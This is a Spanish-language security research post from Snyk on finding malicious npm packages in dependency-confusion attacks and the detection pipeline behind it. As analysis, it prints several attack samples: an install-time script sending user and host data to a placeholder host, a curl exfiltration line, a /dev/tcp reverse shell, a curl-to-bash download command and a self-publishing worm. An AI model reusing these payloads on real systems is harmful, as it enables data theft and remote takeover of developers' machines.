Snyk descubre más de 200 paquetes npm maliciosos, que incluyen ataques de confusión de dependencias de Cobalt Strike

Kirill Efimov
24 de mayo de 2022
0 minutos de lecturaHace poco tiempo, Snyk descubrió más de 200 paquetes maliciosos en el registro de npm. Aunque reconocemos que el agotamiento como consecuencia de las vulnerabilidades es un problema para los desarrolladores, este artículo no es el típico caso de errores tipográficos (typosquatting) o paquetes maliciosos aleatorios. Mencionaremos los ataques selectivos orientados a empresas y corporaciones que Snyk pudo detectar y compartiremos información relevante.
En este artículo, en lugar de explicar qué es la confusión de dependencias y por qué afecta drásticamente el ecosistema de JavaScript (y el registro de npm en particular), hablaremos sobre el tipo de enfoque que emplea Snyk y cuáles son los paquetes maliciosos que descubrimos en el último tiempo. Si necesitas una introducción a la confusión de dependencias y los riesgos que representa, te recomendamos que leas el artículo de Alex Birsan Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies (Confusión de dependencias: cómo accedí a Apple, Microsoft y otras empresas) y el artículo de Snyk sobre el descubrimiento de una simulación de ataques a dependencias de un ataque selectivo.
Además, queremos aprovechar la oportunidad para hablar sobre cómo los equipos de investigación dedicados a buscar errores y los equipos rojos contribuyen a contaminar el ecosistema de npm, debido a la creación de informes de seguridad falsos. Todo esto hace que la situación sea más compleja que antes del advenimiento de los vectores de ataque de confusión de dependencias.
Recientemente, muchas empresas pusieron su atención en la seguridad de la cadena de suministro y una gran porción de esto equivale a la detección de paquetes maliciosos. No tenemos dudas de que npm recibió la mayor atención. En Snyk, conversamos mucho sobre npm y nos preguntamos si podíamos superar a otros proveedores que publican información sobre paquetes maliciosos de bajo impacto con regularidad. Decidimos intentarlo e implementamos un enfoque simple para ver cuántos paquetes maliciosos podíamos detectar de este modo. Nos llevó bastante tiempo perfeccionar este enfoque sencillo y, finalmente, luego de agregar el paquete malicioso n.° 100 a la Base de datos de Snyk sobre vulnerabilidades, supimos que debíamos publicar algo al respecto. Pero primero, veamos cómo se podrían hallar paquetes maliciosos en un registro como npm.
Búsqueda de paquetes maliciosos en el registro de npm
Antes que nada, debíamos definir el alcance y los objetivos de la investigación en seguridad:
Solo nos concentramos en la lógica maliciosa al momento de instalación. Es decir, solo lo que sucede durante
npm install
. Las secuencias de comandos maliciosas iniciadas durante el tiempo de ejecución están fuera de este alcance y se verán en otro estudio de caso en el futuro.Debe ser posible gestionar la cantidad de indicaciones de falsos positivos. Determinamos que un analista en seguridad debería poder clasificar todos los indicios en una hora de trabajo o menos.
El recopilador debe ser modular. Ya había evolucionado varias veces y continúa modificándose. Debido al punto n.° 2, algunas técnicas de detección se agregaron y otras se eliminaron.
Como enfoque inicial, decidimos optar por análisis puramente estáticos. Nos enfocaremos en la parte dinámica en otra publicación.
Es importante definir lo que consideramos “comportamiento malicioso”. Por ejemplo, abrir una shell inversa o modificar los archivos desde fuera de la carpeta del proyecto son actividades maliciosas.
Sin embargo, también creemos que si un paquete roba cualquier PII (información de identificación personal) o cualquier dato que la contenga, también se considerará malicioso. Por ejemplo:
Un paquete que envía el GUID (identificador único global) de la máquina no es malicioso\: el GUID no contiene ningún dato personal del usuario y suele utilizarse para contabilizar el número único de instalaciones de un paquete.
Un paquete que envía la ruta a la carpeta de la aplicación es malicioso\: las rutas a las aplicaciones suelen contener el nombre del usuario (que podría ser el nombre y apellido reales).
A continuación, enumeramos la estructura del sistema subyacente:
Lógica de extracción para recopilar información sobre los paquetes recientemente agregados y modificados.
Lógica de etiquetado para enviar metadatos razonables a los analistas de seguridad.
Lógica de clasificación para priorizar los indicios de paquetes maliciosos según el paso anterior.
El resultado del sistema recopilador son archivos YAML (sirven como puntos de datos para los indicios), sobre los que luego trabaja un analista de seguridad, que los marca según una de las tres opciones siguientes:
Correcto\: paquetes sin sospechas. Los usamos como ejemplos de comportamiento no malicioso.
Incorrecto\: paquetes maliciosos.
Ignorado\: paquetes que posiblemente no sean maliciosos, pero su comportamiento al momento de la instalación es demasiado común o complejo para usarlo como patrón en casos futuros.
Reconocimiento del registro de npm para recopilar información del paquete
Según el primer requisito establecido, debemos analizar todos los paquetes nuevos y actualizados si tienen cualquier secuencia de comandos preinstall
, install
o postinstall
ejecutada durante la instalación.
Internamente, el registro de npm utiliza CouchDB, que está expuesto de forma conveniente mediante replicate.npmjs.com
para el consumo público. Entonces, la fase de recopilación de datos es tan sencilla como sondear el endpoint \_changes de forma ascendente. Es decir, esta línea
1https://replicate.npmjs.com/_changes?limit=100&descending=false&since=<here is last event ID from the previous run>
permite obtener una lista de los paquetes creados y actualizados a partir del Id. del evento que tenemos de la anterior ejecución del recopilador.
Además, usamos los endpoints https://registry.npmjs.org/
para recopilar los metadatos de cada paquete de la lista y https://api.npmjs.org/downloads
para obtener la cantidad de veces que se descargó un paquete.
De todos modos, la lógica de recopilación de datos no es tan simple: buscamos extraer las secuencias de comandos iniciadas durante la instalación desde el archivo tar del paquete. En promedio, un archivo tar de paquete de npm pesa menos de un megabyte, pero, en ocasiones, puede ser mucho más grande y pesar cientos de megabytes. Por fortuna, los archivos tar están estructurados de tal forma que permiten implementar un enfoque de streaming; simplemente descargamos el archivo comprimido de un paquete hasta obtener el archivo que buscamos y luego cancelamos la conexión, lo que permite ahorrar mucho tiempo y tráfico de red. Para ello, usamos el paquete de npm tar-stream. Este es el momento ideal para agradecerle a Mathias Buus, quien contribuyó en grande al desarrollo de JavaScript y Node.js, y mantiene muchos paquetes de npm de código abierto que usan a diario los desarrolladores.
Etiquetado de paquetes maliciosos en el registro de npm
En este momento, ya tenemos todos los metadatos sobre el paquete: el historial de versiones, el nombre de la persona responsable del mantenimiento, el contenido de las secuencias de comandos ejecutadas al momento de la instalación, las dependencias y otros elementos. Podemos empezar a aplicar las reglas. A continuación, se detallan las reglas que, en mi experiencia, son las más eficaces:
bigVersion
\: si la versión principal de un paquete es mayor o igual que 90. En un ataque de confusión de dependencias, un paquete malicioso que se descargará tendrá una versión mayor que el paquete original. Como veremos luego, los paquetes maliciosos suelen tener versiones como 99.99.99.yearNoUpdates
\: si es la primera actualización del paquete en el año. Esto es crucial para determinar si no se realizó mantenimiento del paquete durante un largo tiempo y luego se infectó.noGHTagLastVersion
\: la nueva versión de un paquete no tiene ninguna etiqueta en un repositorio correspondiente de GitHub, aunque la versión anterior sí tenía una etiqueta. Esto funciona cuando un usuario de npm está en riesgo, no un usuario de GitHub.isSuspiciousFile
\: expresiones regulares para detectar secuencias de comandos ejecutadas durante la instalación que podrían ser maliciosas. Funcionan para detectar técnicas comunes de ofuscación, el uso de dominios comocanarytokens.com
ongrok.io
, la indicación de direcciones IP, entre otras.isSuspiciousScript
\: expresiones regulares para detectar secuencias de comandos que podrían ser maliciosas en un archivo package.json. Por ejemplo, descubrimos que“postinstall: “node .”
suele utilizarse en paquetes maliciosos.
El sistema subyacente tiene más etiquetas, pero las anteriores sirven para tener una noción de cómo es la lógica del recopilador.
Clasificación de los datos de los paquetes de npm
Nos gustaría aplicar otras automatizaciones al proceso, en lugar de que sean analistas en seguridad quienes realicen la revisión de forma manual. Si una secuencia de comandos ejecutada al momento de la instalación ya se había clasificado como “correcta” o “incorrecta”, clasificamos los nuevos casos de forma automática también como “correctos” o “incorrectos”. Esto funciona principalmente en casos de comportamiento no malicioso, como “postinstall”: “webpack”
o “postinstall”: “echo thanks for using please donate”
, y permite reducir el ruido.
Además, priorizamos el uso de algunas etiquetas sobre otras porque exhiben mejores tasas de respuestas positivas reales. Es decir, isSuspiciousFile
e isSuspiciousScript
tienen la más alta prioridad.
Análisis de seguridad manuales
En el proceso de detección, el último paso consiste en el análisis manual, que también tiene varias etapas:
Verificación de indicios clasificados automáticamente y de alta prioridad; es muy probable que sean maliciosos. Revisión individual de los indicios no clasificados a fin de detectar nuevas reglas para casos maliciosos y no maliciosos.
Actualización de la lógica del recopilador según el n.° 2.
Incorporación de cada paquete malicioso a la Base de datos de Snyk sobre vulnerabilidades.
En algunos casos, como con gxm-reference-web-auth-server, si un paquete parece tener una lógica maliciosa inusual, un analista le dedicará más tiempo a analizar en detalle y compartir las conclusiones con la comunidad y los usuarios de Snyk.
Este flujo nos permite mejorar el recopilador a diario y automatizar el proceso.
¿Cuáles son los paquetes maliciosos en npm que logramos detectar?
A la fecha de publicación de este artículo, el sistema ya exhibió resultados para más de 200 paquetes de npm que mostraron ser realmente positivos y que representan la amenaza de un ataque de confusión de dependencias. Nos gustaría categorizar aún más estos hallazgos y demostrar diversos comportamientos y conceptos que utilizan los atacantes.
Paquetes maliciosos que roban datos
Uno de los tipos más comunes de paquetes maliciosos implica el robo de datos mediante solicitudes HTTP o DNS. Suele ser una versión copiada y modificada de la secuencia de comandos original utilizada en una investigación de confusión de dependencias. En algunos casos, tienen comentarios del tipo “este paquete se utiliza con fines de investigación” o “no se recopilan datos confidenciales”, pero no dejes que te engañen, tienen PII y la envían por la red, lo que nunca debería suceder.
A continuación, presentamos un ejemplo típico de un paquete de este tipo a partir del hallazgo de Snyk:
1const os = require("os");
2const dns = require("dns");
3const querystring = require("querystring");
4const https = require("https");
5const packageJSON = require("./package.json");
6const package = packageJSON.name;
7
8const trackingData = JSON.stringify({
9 p: package,
10 c: __dirname,
11 hd: os.homedir(),
12 hn: os.hostname(),
13 un: os.userInfo().username,
14 dns: dns.getServers(),
15 r: packageJSON ? packageJSON.___resolved : undefined,
16 v: packageJSON.version,
17 pjson: packageJSON,
18});
19
20var postData = querystring.stringify({
21 msg: trackingData,
22});
23
24var options = {
25 hostname: "<malicious host>",
26 port: 443,
27 path: "/",
28 method: "POST",
29 headers: {
30 "Content-Type": "application/x-www-form-urlencoded",
31 "Content-Length": postData.length,
32 },
33};
34
35var req = https.request(options, (res) => {
36 res.on("data", (d) => {
37 process.stdout.write(d);
38 });
39});
40
41req.on("error", (e) => {
42 // console.error(e);
43});
44
45req.write(postData);
46req.end();
Ya vimos algunos intentos de robo de la siguiente información (ordenados de relativamente inofensivo a sumamente peligroso):
Nombre actual del usuario
Ruta al directorio de inicio
Ruta al directorio de la aplicación
Lista de archivos en diversas carpetas, como directorio de trabajo de inicio o de la aplicación
Resultado del comando del sistema
ifconfig
Archivo
package.json
de la aplicaciónVariables de entorno
Archivo
.npmrc
Existen unos paquetes interesantes que podemos agregar a este grupo malicioso: son aquellos que tienen la secuencia de comandos install
como npm install http://
<malicious host>
/tastytreats-1.0.0.tgz?yy=npm get cache
. Es evidente que roba la ruta del directorio de la memoria caché de npm (que suele ser la carpeta de inicio del usuario actual), pero, además, instala un paquete desde una fuente externa. Gracias a nuestra experiencia, podemos decir que este paquete obtenido de una fuente externa es solo un paquete ficticio, sin ninguna lógica o archivo, pero quizá tiene alguna condición regional o de otro tipo del lado del servidor o, luego de un período determinado, se convierte en un criptominero o un troyano.
En algunos casos, observamos evidencias de secuencia de comandos bash, como el siguiente:
1DETAILS="$(echo -e $(curl -s ipinfo.io/)\\n$(hostname)\\n$(whoami)\\n$(hostname -i) | base64 -w 0)"
2curl "https://<malicious host>/?q=$DETAILS"
El ejemplo anterior roba información de la dirección IP pública, el nombre del host y el nombre de usuario.
Paquetes maliciosos que generan una shell inversa
Otro tipo común de paquete malicioso intenta generar una shell inversa, lo que significa que la máquina objetivo se conecta a un servidor remoto propiedad de un atacante y le permite controlarla a la distancia. Esto puede realizarse de forma sencilla como en el siguiente ejemplo:
1/bin/bash -l > /dev/tcp/<malicious IP>/443 0<&1 2>&1;
O mediante una implementación más compleja con net.Socket
u otro método de conexión.
En esta categoría, el desafío principal es que, aunque la lógica parezca simple, el comportamiento malicioso real está completamente oculto del lado del servidor del hacker. De todos modos, se puede observar el impacto: un hacker puede hacerse con todo el control de la computadora donde se instaló el paquete malicioso.
Decidimos ejecutar un paquete de este tipo en un entorno de pruebas y registramos los siguientes comandos:
nohup curl -A O -o- -L http://
<malicious IP>
/dx-log-analyser-Linux | bash -s &> /tmp/log.out&
\: descarga y ejecuta la secuencia de comandos del servidor malicioso.La secuencia de comandos descargada desde el servidor malicioso se agrega al directorio
/tmp
y comienza a sondearse cada 10 segundos, esperando alguna actualización del atacante remoto.Luego de un determinado período, descarga el archivo binario que, según VirusTotal, es un troyano de Cobalt Strike.

Uso de troyanos en paquetes de npm maliciosos
En esta categoría, hay varios paquetes que instalan y ejecutan diversos agentes de comando y control. Mencionar más de esto excede el alcance de este artículo, por lo que recomendamos la lectura de nuestro artículo detallado acerca de la ingeniería inversa del paquete gxm-reference-web-auth-server. Aunque el artículo exhibe los descubrimientos de cómo los hackers éticos realizaron investigaciones éticas de equipo rojo, es un buen ejemplo de lo que se encuentra dentro de los paquetes de npm en la categoría de ataques de confusión de dependencias maliciosas. Además, es una forma excelente de ver el accionar de un equipo rojo.
En otro caso interesante, revisamos las llamadas del sistema desde el entorno de pruebas y una llamó nuestra atención: generaba un proceso independiente y ejecutaba una llamada de espera durante 30 minutos. Y solo después comenzaba la actividad maliciosa.
Bromas y protestas en paquetes de npm
En marzo de 2022, escribimos una publicación sobre protestware en paquetes de npm. Sin embargo, además de protestware, observamos varios intentos para abrir videos NSFW (no seguros para el trabajo) o de YouTube y otros sitios web en el navegador, o incluso agregarlo como comando al archivo .bashrc
.
El código de muestra puede ser tan sencillo como open [https://www.youtube.com/watch?v=](https://www.youtube.com/watch?v=)
<xxx>
en la secuencia de comandos postinstall
o shell.exec(echo '\\nopen https://
<NSFW website>
' >> ~/.bashrc)
en un archivo JavaScript ejecutado al momento de la instalación.
Otro caso posiblemente dañino observado durante la investigación es el paquete malicioso que detecta si existe el archivo .npmrc
y, en caso afirmativo, ejecuta npm publish
, que crea su propia copia en nombre del usuario de npm. Como puedes ver, funciona como un gusano y, en algunos casos, puede convertirse en una amenaza real.
1const fs = require('fs')
2const faker = require('faker')
3const child_process = require('child_process')
4const pkgName = faker.helpers.slugify(faker.animal.dog() + ' ' +
5faker.company.bsNoun()).toLowerCase()
6let hasNpmRc = false
7const read = (p) => {
8 return fs.readFileSync(p).toString()
9}
10try {
11 const npmrcFile = read(process.env.HOME + '/.npmrc')
12 hasNpmRc = true
13} catch(err) {
14}
15if (hasNpmRc) {
16 console.log('Publishing new version of myself')
17 console.log('My new name', pkgName)
18 const pkgPath = __dirname + '/package.json'
19 const pkgJSON = JSON.parse(read(pkgPath))
20 pkgJSON.name = pkgName
21 fs.writeFileSync(pkgPath, JSON.stringify(pkgJSON, null, 2))
22 child_process.exec('npm publish')
23 console.log('DONE')
24}
Conclusiones y recomendaciones
En Snyk, todos los días trabajamos para hacer más seguros los ecosistemas de software de código abierto. En este artículo, compartimos algunas variaciones de paquetes de npm maliciosos, pero no es una lista exhaustiva. En nuestra investigación, encontramos que el ecosistema de npm se usa activamente para realizar diversos ataques a las cadenas de suministro. Recomendamos el uso de herramientas como Snyk para protegerte a ti como desarrollador y responsable del mantenimiento, y para resguardar las aplicaciones y los proyectos.
Si te dedicas a la búsqueda de errores o formas parte de un equipo rojo y necesitas publicar un paquete de npm para realizar tareas de reconocimiento, te recomendamos que leas las pautas legales y las condiciones de servicio de npm y, de todos modos, no obtengas PII ni definas de forma explícita el objetivo del paquete, ya sea en los comentarios del código fuente o en la descripción del paquete. Observamos que algunos paquetes de investigaciones legítimas enviaban identificadores únicos de máquinas, como node-machine-id.
Introducción a Capture the flag
Aprende a resolver los desafíos de Capture the flag viendo nuestro taller virtual 101 bajo demanda.
Resumen de paquetes afectados a la fecha de la publicación de este artículo
A modo de resumen, quisiéramos publicar la lista de paquetes que logramos detectar. En este punto, es posible que algunos, o la mayoría, de estos paquetes ya se hayan eliminado del registro de npm, pero algunos todavía sobreviven a la fecha de la publicación de esta investigación.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|